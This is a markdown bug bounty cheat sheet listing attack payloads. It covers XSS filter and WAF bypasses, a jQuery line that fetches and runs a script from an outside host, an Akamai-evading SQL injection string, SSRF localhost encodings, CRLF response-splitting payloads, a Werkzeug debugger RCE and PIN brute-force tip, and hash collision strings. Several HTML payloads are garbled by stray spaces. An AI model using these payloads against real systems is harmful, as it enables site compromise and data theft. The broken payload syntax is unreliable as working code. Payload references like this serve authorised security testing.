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# Bug Bounty Cheat Sheet
## XSS
**Chrome XSS-Auditor Bypass** by [Masato Kinugawa ](https://github.com/masatokinugawa )
```html
< svg > < animate xlink:href = #x attributeName = href values = javascript:alert(1) / > < a id = x > < rect width = 100 height = 100 / > < / a >
```
**Wordfence XSS Bypasses**
```html
< meter onmouseover = "alert(1)"
```
```html
'">>< div > < meter onmouseover = "alert(1)" < / div > "
```
```html
>>< marquee loop = 1 width = 0 onfinish = alert(1) >
```
**jQuery < 3.0.0 XSS * *
by [Egor Homakov ](https://github.com/jquery/jquery/issues/2432 )
```js
$.get('https://edwinfoudil.com/poc/jqueryxss.js')
```
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## SQLI
**Akamai Kona Bypass**
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* `MID` instead of `SUBSTRING`
* `LIKE` instead of `=`
* `/**/` instead of a `space`
* `CURRENT_USER` instead of `CURRENT_USER()`
* ` "` instead of `'`
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Final example:
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```sql
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444/**/OR/**/MID(CURRENT_USER,1,1)/**/LIKE/**/"p"/**/#
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```
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## SSRF
```
http://0177.1/
```
```
http://0x7f.1/
```
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```
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https://520968996
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```
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_Note:_ The latter can be calculated using http://www.subnetmask.info/
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**Exotic Handlers**
```
gopher://, dict://, php://, jar://, tftp://
```
**IPv6**
```
http://[::1]
```
```
http://[::]
```
## CRLF Injection || HTTP Response Splitting
```
%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
```
**CRLF Injection to XSS**
```
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a< svg % 20onload = alert(document.domain) > %0d%0a0%0d%0a/%2e%2e
```
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# RCE
**Werkzeug Debugger**
Find somewhere where user input can be supplied and submit the following string to cause an error:
```
strі
```
If the target is running their application in debug mode you might be able to run commands. If you are running the target locally, you can probably brute-force the debugger PIN. The debugger PIN is always in the following format: `***-***-***` .
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## Crypto
**MD5 Collision Strings**
```
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
```
```
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
```
**SHA-1 Collision Strings**
```
255044462D312E330A25E2E3CFD30A0A0A312030206F626A0A3C3C2F57696474682032203020522F4865696768742033203020522F547970652034203020522F537562747970652035203020522F46696C7465722036203020522F436F6C6F7253706163652037203020522F4C656E6774682038203020522F42697473506572436F6D706F6E656E7420383E3E0A73747265616D0AFFD8FFFE00245348412D3120697320646561642121212121852FEC092339759C39B1A1C63C4C97E1FFFE017F46DC93A6B67E013B029AAA1DB2560B45CA67D688C7F84B8C4C791FE02B3DF614F86DB1690901C56B45C1530AFEDFB76038E972722FE7AD728F0E4904E046C230570FE9D41398ABE12EF5BC942BE33542A4802D98B5D70F2A332EC37FAC3514E74DDC0F2CC1A874CD0C78305A21566461309789606BD0BF3F98CDA8044629A1
```
```
255044462D312E330A25E2E3CFD30A0A0A312030206F626A0A3C3C2F57696474682032203020522F4865696768742033203020522F547970652034203020522F537562747970652035203020522F46696C7465722036203020522F436F6C6F7253706163652037203020522F4C656E6774682038203020522F42697473506572436F6D706F6E656E7420383E3E0A73747265616D0AFFD8FFFE00245348412D3120697320646561642121212121852FEC092339759C39B1A1C63C4C97E1FFFE017346DC9166B67E118F029AB621B2560FF9CA67CCA8C7F85BA84C79030C2B3DE218F86DB3A90901D5DF45C14F26FEDFB3DC38E96AC22FE7BD728F0E45BCE046D23C570FEB141398BB552EF5A0A82BE331FEA48037B8B5D71F0E332EDF93AC3500EB4DDC0DECC1A864790C782C76215660DD309791D06BD0AF3F98CDA4BC4629B1
```
**Bcrypt Wraparoud Bug**
```
000000000000000000000000000000000000000000000000000000000000000000000000
```
```
012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234
```
```
0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345
```
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## Content Injection
```
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❤ bounty pls
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```
